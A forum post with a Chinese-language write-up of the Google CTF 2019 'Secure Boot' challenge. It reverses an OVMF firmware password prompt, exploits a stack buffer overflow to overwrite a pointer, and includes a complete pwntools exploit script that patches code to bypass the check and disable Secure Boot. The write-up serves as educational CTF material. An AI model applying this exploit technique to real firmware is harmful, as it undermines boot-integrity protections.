吾愛破解 - LCG - LSG |安卓破解|病毒分析|破解軟件|排列三5码组三最大遗漏 www.ynjqb.tw

 找回密碼
 注冊[Register]

QQ登錄

只需一步,快速開始

搜索
查看: 4500|回復: 15
上一主題 下一主題

排列三2码组三遗漏: [CTF] Google CTF 2019 - Secure Boot 題解

  [復制鏈接]
跳轉到指定樓層
樓主
40m41h42t 發表于 2019-7-23 13:36 回帖獎勵
本帖最后由 40m41h42t 于 2019-7-23 13:54 編輯

題目說明




Your task is very simple: just boot this machine. We tried before but we always get 'Security Violation'. For extra fancyness use `socat -,raw,echo=0 tcp:$IP:$PORT'`.

About OVMF



OVMF 是一種流行的開源 UEFI 固件,現在已經被移植到了 QEMU 上。它實現了 UEFI 的規范,因此和真實機器上的商用 UEFI 固件非常相似。

題目分析



如果直接運行官方提供的 py 文件是這個效果:

UEFI Interactive Shell v2.2
EDK II
UEFI v2.70 (EDK II, 0x00010000)
Mapping table
      FS0: Alias(s):HD1a1:;BLK3:
          PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)/HD(1,MBR,0xBE1AFDFA,0x3F,0xFBFC1)
     BLK0: Alias(s):
          PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x0)
     BLK1: Alias(s):
          PciRoot(0x0)/Pci(0x1,0x0)/Floppy(0x1)
     BLK2: Alias(s):
          PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)
     BLK4: Alias(s):
          PciRoot(0x0)/Pci(0x1,0x1)/Ata(0x0)

If Secure Boot is enabled it will verify kernel's integrity and
return 'Security Violation' in case of inconsistency.
Booting...
Script Error Status: Security Violation (line number 5)

和題目中說的一樣。

如果在這個輸出之前按下 ESC 或 F12,就會有如下輸出:

BdsDxe: loading Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)
BdsDxe: starting Boot0000 "UiApp" from Fv(7CB8BDC9-F8EB-4F34-AAEA-3EE4AF6516A1)/FvFile(462CAA21-7614-4503-836E-8AB6F4662331)
****************************
*                          *
*   Welcome to the BIOS!   *
*                          *
****************************

Password?

如果我們隨便輸入的話會報錯。從上面的輸出中我們可以看到一個重要的函數(文件?):UiApp

通過 UEFITool 工具我們可以得到下面的文件列表:



通過 UEFI Firmware Parser 工具將其分離:

[Bash shell] 純文本查看 復制代碼
uefi-firmware-parser -ecO ./OVMF.fd


我們可以在這一大串輸出中定向找到 UiApp:

UiApp

File 38: 462caa21-7614-4503-836e-8ab6f4662331 type 0x09, attr 0x00, state 0x07, size 0x1beae (114350 bytes), (application)
              Section 0: type 0x10, size 0x1be44 (114244 bytes) (PE32 image section)
              Section 1: type 0x19, size 0x34 (52 bytes) (Raw section)
              Section 2: type 0x15, size 0x10 (16 bytes) (User interface name section)
              Name: UiApp
              Section 3: type 0x14, size 0xe (14 bytes) (Version section section)

分析該文件,我們可以找到 `Welcome to the BIOS!` 字符串:



由于它是以 UTF-16LE 格式進行編碼的,因此直接搜是搜不到的,搜索格式應該是 `W\x00e\x00l\x00 ...` 這樣子的。

EFI 對輸入的處理有一個數據結構:

[C] 純文本查看 復制代碼
typedef struct {
UINT16  ScanCode;
CHAR16  UnicodeChar;
} EFI_INPUT_KEY;


向前追溯可以找到某個函數,整理一下是這個樣子的:

[C] 純文本查看 復制代碼
signed __int64 welcome_to_BIOS()
{
  unsigned __int16 v0; // ax
  char v2; // [rsp+2Ch] [rbp-BCh]
  __int16 v3; // [rsp+2Eh] [rbp-BAh]
  char v4; // [rsp+30h] [rbp-B8h]
  char buf[128]; // [rsp+38h] [rbp-B0h]
  __int64 res; // [rsp+B8h] [rbp-30h]
  _QWORD *dest; // [rsp+C0h] [rbp-28h]
  __int64 size; // [rsp+C8h] [rbp-20h]
  unsigned __int16 i; // [rsp+D6h] [rbp-12h]
  unsigned __int64 tries; // [rsp+D8h] [rbp-10h]

  tries = 0i64;
  size = 32i64;
  puts(L"****************************\n");
  puts(L"*                          *\n");
  puts(L"*   Welcome to the BIOS!   *\n");
  puts(L"*                          *\n");
  puts(L"****************************\n\n");
  dest = (_QWORD *)sub_11A8(32i64);
  while ( tries <= 2 )
  {
    i = 0;
    puts(L"Password?\n");
    while ( 1 )
    {
      while ( 1 )
      {
        res = (*(__int64 (__fastcall **)(_QWORD, char *))(*(_QWORD *)(qword_1BC68 + 48) + 8i64))(
                *(_QWORD *)(qword_1BC68 + 48),
                &v2);
        if ( res >= 0 )
        {
          if ( v3 )
            break;
        }
        if ( res == 0x8000000000000006i64 )
          (*(void (__fastcall **)(signed __int64, signed __int64, char *))(qword_1BC78 + 96))(
            1i64,
            *(_QWORD *)(qword_1BC68 + 48) + 16i64,
            &v4);
      }
      if ( v3 == '\r' )
        break;
      if ( i <= 139u )
      {
        v0 = i++;
        buf[v0] = v3;
      }
      puts("*");
    }
    buf[i] = 0;
    puts(L"\n");
    sha256((__int64)buf, i, (__int64)dest);
    if ( *dest == 0xDEADBEEFDEADBEEFi64
      && dest[8] == 0xDEADBEEFDEADBEEFi64
      && dest[16] == 0xDEADBEEFDEADBEEFi64
      && dest[24] == 0xDEADBEEFDEADBEEFi64 )
    {
      doSomething((__int64)dest);
      return 1i64;
    }
    puts("W");
    ++tries;
  }
  doSomething((__int64)dest);
  return 0i64;
}


要求輸入不多于 139 個字符,處理輸入會用到 SHA256(通過某些特征數據可得)很明顯要求 `buf` 經過哈希后得到 `0xDEADBEEF` 這樣的數據。但很明顯我們不可能得到哈希前的符合要求的數據,因此我們可以換一種方式。注意到輸入是 139 而 `buf` 的大小只有 128,這會不會是一個溢出點呢?

我們可以溢出 12 位,接下來看一下它的棧?。?br />
[C] 純文本查看 復制代碼
  unsigned __int16 v0; // ax
  char ScanCode; // [rsp+2Ch] [rbp-BCh]
  __int16 UnicodeChar; // [rsp+2Eh] [rbp-BAh]
  char v4; // [rsp+30h] [rbp-B8h]
  char buf[128]; // [rsp+38h] [rbp-B0h]
  __int64 res; // [rsp+B8h] [rbp-30h]
  _QWORD *dest; // [rsp+C0h] [rbp-28h]
  __int64 size; // [rsp+C8h] [rbp-20h]
  unsigned __int16 i; // [rsp+D6h] [rbp-12h]
  unsigned __int64 tries; // [rsp+D8h] [rbp-10h]


很明顯可以溢出到 dest 上,也就是一個任意地址寫。寫到哪里比較合適呢?

一種思路是寫這里:

[C] 純文本查看 復制代碼
if ( *dest == 0xDEADBEEFDEADBEEFi64
      && dest[8] == 0xDEADBEEFDEADBEEFi64
      && dest[16] == 0xDEADBEEFDEADBEEFi64
      && dest[24] == 0xDEADBEEFDEADBEEFi64 )
    {
      doSomething((__int64)dest);
      return 1i64;
    }
    puts((__int64)"W");
    ++tries;
  }
  doSomething((__int64)dest);
  return 0i64;
}


我們看到,它在判斷滿足條件之后會進入一個函數然后返回 1,那么我們可不可以跳轉到這里呢?看看這附近的匯編:

.text:0000000000010062                 jnz     short loc_1007B
.text:0000000000010064                 mov     rax, [rsp+0E8h+dest]
.text:000000000001006C                 mov     rdi, rax
.text:000000000001006F                 call    doSomething
.text:0000000000010074                 mov     eax, 1
.text:0000000000010079                 jmp     short done
.text:000000000001007B ; ---------------------------------------------------------------------------
.text:000000000001007B
.text:000000000001007B loc_1007B:                              ; CODE XREF: welcome_to_BIOS+173↑j
.text:000000000001007B                                         ; welcome_to_BIOS+1D4↑j ...
.text:000000000001007B                 lea     rcx, strWrong   ; "W"
.text:0000000000010082                 call    puts
.text:0000000000010087                 add     [rsp+0E8h+tries], 1
.text:0000000000010090
.text:0000000000010090 loop_f:                                 ; CODE XREF: welcome_to_BIOS+73↑j
.text:0000000000010090                 cmp     [rsp+0E8h+tries], 2
.text:0000000000010099                 jbe     loc_FEC8
.text:000000000001009F                 mov     rax, [rsp+0E8h+dest]
.text:00000000000100A7                 mov     rdi, rax
.text:00000000000100AA                 call    doSomething
.text:00000000000100AF                 mov     eax, 0

看上去很容易被利用哎:比較的最后一個跳轉位于 0x10062,只需要在 0x1007B 處跳轉到 0x10064 處就可以了!我們再看一下當前進程的  map:

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
               0x0           0x400000 rwxp   400000 0
         0x63df000          0x6bdf000 rwxp   800000 0
         0x6f2d000          0x772d000 rwxp   800000 0
         0x7730000          0x7f30000 rwxp   800000 0
         0x7ec0000          0x82c1000 rwxp   401000 0      [stack]
        0x69326000         0x69b26000 rwxp   800000 0
        0x6c246000         0x6ca46000 rwxp   800000 0
        0x742e7000         0x74ae7000 rwxp   800000 0
        0x752e6000         0x75ae6000 rwxp   800000 0
        0x94af5000         0x952f5000 rwxp   800000 0
       0x230246000        0x230a46000 rwxp   800000 0
       0x2b808c000        0x2b888c000 rwxp   800000 0
       0x7ebd7d000        0x7ec57d000 rwxp   800000 0

全都是 rwxp!我們可以進行任意的修改操作。跳轉的距離就是 0x7B - 0x64 = 0x17。所以任意寫的過程中,使得修改后的匯編位 `jmp $-0x17` 即可在后面完成跳轉。

接下來就是調試啦,我們要找到真實的環境中相應匯編的位置。

調試



在 `run.py` 中 `qemu` 的一大串參數中加入 `-s` 參數,之后就可以本地通過 gdb `target remote localhost:1234` 進行調試了。細節就不多說了,由于它會對輸入也有一個處理,在進入輸入函數之后通過 gdb 連接,此時位于輸入處理函數中。我們看 stack,在 `rsp + 120` 的位置能看到返回地址



對應的是 IDA 中的

.text:000000000000FF5E                 jmp     loc_FEDE

這樣我們就可以通過偏移獲得 0x1007B 的位置:0x1007B - 0xFF5E + 0x67DAF5E = 0x67DB07B。

接下來我們要編寫 payload 了。由于其中會進行一次 SHA256,因此我們要讓 SHA256 的輸出等于 payload:

[Python] 純文本查看 復制代碼
from pwn import *
import hashlib
import binascii

target = 0x67db07b

def find_sha(myasm):
    for i in xrange(1000000):
        payload = str(i)
        payload = payload.ljust(128, 'a')
        payload += '\x00' * 8 # 截斷
        payload += p32(target)
        if binascii.unhexlify(hashlib.sha256(payload).hexdigest())[0:len(myasm)] == myasm:
            print('[1] payload: ', payload)
            payload = str(i)
            payload = payload.ljust(136, 'a')
            payload += p32(target)
            print('[2] payload: ', payload)
            return payload

find_sha(asm('jmp $-0x17'))


這樣我們就構造好了 payload??佳罷業氖焙蛭裁匆?`payload += 'x00'*8` 呢?因為我們覆蓋了 res 那一部分,而 res 的值是會隨著輸入而變化的,因此第 128 位到 136 位都會被修改位為 NULL。而后面將這里填充可能是輸入函數不會處理 `\x00` 這樣的值,所以我們還得補充上去。

我們調試一下。下面匯編位置在輸入后, Hash 函數之前。

.text:000000000000FF6E                 movzx   eax, [rsp+0E8h+i]
.text:000000000000FF76                 cdqe
.text:000000000000FF78                 mov     [rsp+rax+0E8h+buf], 0

0xFF6E 對應的下斷點地址空間是:0x67DAF6E。

假如我們的輸入是:`'1'*128+'23456789abcd'`,調試之后會發現棧中的內容是這樣的:



很明顯 `23456789` 的部分被截斷了。

最后,完整的 payload 構造如下:

[Python] 純文本查看 復制代碼
from pwn import *
import hashlib
import binascii
import os
import tempfile

target = 0x67db07b

context(os='linux',arch='amd64') #,log_level='debug')

def find_sha(myasm):
    for i in xrange(1000000):
        payload = str(i)
        payload = payload.ljust(128, 'a')
        payload += '\x00' * 8
        payload += p32(target)
        if binascii.unhexlify(hashlib.sha256(payload).hexdigest())[0:len(myasm)] == myasm:
            print('[1] payload: ', payload)
            print(hashlib.sha256(payload).hexdigest())
            payload = str(i)
            payload = payload.ljust(136, 'a')
            payload += p32(target)
            print('[2] payload: ', payload)
            print(hashlib.sha256(payload).hexdigest())
            return payload

def exploit(p):
    p.sendafter('2J',"\x1b\x5b\x32\x34\x7e"*10)
    payload = find_sha(asm("jmp $-0x17"))
    payload += "\r"
    
    p.sendafter("Password?", payload)
    p.interactive()

def local():
    fname = tempfile.NamedTemporaryFile().name
    os.system("cp OVMF.fd %s" % (fname))
    os.system("chmod u+w %s" % (fname))

    # os.system("qemu-system-x86_64 -s -monitor /dev/null -m 128M -drive if=pflash,format=raw,file=%s -drive file=fat:rw:contents,format=raw -net none -nographic 2> /dev/null" % (fname))
    p = process(['qemu-system-x86_64','-s','-m','128M','-drive','if=pflash,format=raw,file='+fname,'-drive','file=fat:rw:contents,format=raw','-net','none','-nographic'], env={})
    exploit(p)
    os.system("rm -rf %s" % (fname))

if __name__ == "__main__":
    # p = remote("secureboot.ctfcompetition.com", 1337)
    local()


直接用 pwntools 的輸出的話很坑,但是題目中也提供了一種輸出方式。

本地調試:

[Bash shell] 純文本查看 復制代碼
socat -,raw,echo=0 SYSTEM:"python ./payload.py"




可以看到,它提供了一個不錯的界面。我們進入 Device Manager,進入 Secure Boot Configuration,關閉 Attempt Secure Boot,保存退出即可。

最終即可得到 flag:



免費評分

參與人數 14吾愛幣 +11 熱心值 +14 收起 理由
吃飯第一名 + 1 熱心回復!
cheneric0929 + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
liphily + 1 + 1 本以為偷梁換柱,結果是偷天換日+女媧補天。
殺豬用牛刀 + 1 + 1 [email protected]!
漠北孤狼 + 1 我很贊同!
3xec3r + 1 + 1 熱心回復!
443 + 1 + 1 我很贊同!
zn19951027 + 1 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
langbian + 1 + 1 用心討論,共獲提升!
wenwen0909 + 1 + 1 [email protected]!
笙若 + 1 + 1 [email protected]!
yechen123 + 1 + 1 我很贊同!
飛揚的旋律 + 1 感謝發布原創作品,吾愛破解論壇因你更精彩!
wuai888 + 1 + 1 熱心回復!

查看全部評分

發帖前要善用論壇搜索功能,那里可能會有你要找的答案或者已經有人發布過相同內容了,請勿重復發帖。

推薦
Hmily 發表于 2019-8-9 08:30
40m41h42t 發表于 2019-7-23 13:54
第一次發帖。。感覺 markdown 編輯器對 code 的支持好難用。。

MD本身的代碼支持挺好,不用混用論壇原來的代碼插件,反而顯得不好看。
頭像被屏蔽
推薦
飛揚的旋律 發表于 2019-7-23 16:04
大佬看了你的文章,你這文章不久將置頂加精,我有預感。確實使用論壇的功能在第一行不要寫任何東西,要換一行在開始寫。
沙發
 樓主| 40m41h42t 發表于 2019-7-23 13:54 <
第一次發帖。。感覺 markdown 編輯器對 code 的支持好難用。。

點評

MD本身的代碼支持挺好,不用混用論壇原來的代碼插件,反而顯得不好看。  詳情 回復 發表于 2019-8-9 08:30
3#
黑龍 發表于 2019-7-23 14:43
學習一下。
4#
sa突襲 發表于 2019-7-23 15:48
膜拜大佬
6#
DA111 發表于 2019-7-23 16:16
我要是能看懂就好了
7#
Snedto 發表于 2019-7-23 16:30
完全看不懂哎,為什么精華沒有通俗易懂的
8#
記得の忘記 發表于 2019-7-23 17:45
學習學習,謝謝樓主分享
9#
shunvnv 發表于 2019-7-23 18:38
謝謝分享,我進來學習一下
10#
kavenluo 發表于 2019-7-24 10:37
每日學習一點
您需要登錄后才可以回帖 登錄 | 注冊[Register]

本版積分規則 警告:本版塊禁止灌水或回復與主題無關內容,違者重罰!

快速回復 收藏帖子 返回列表 搜索

RSS訂閱|小黑屋|聯系我們|排列三5码组三最大遗漏 ( 京ICP備16042023號 | 京公網安備 11010502030087號 )

GMT+8, 2020-2-28 23:03

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回復 排列三5码组三最大遗漏 返回列表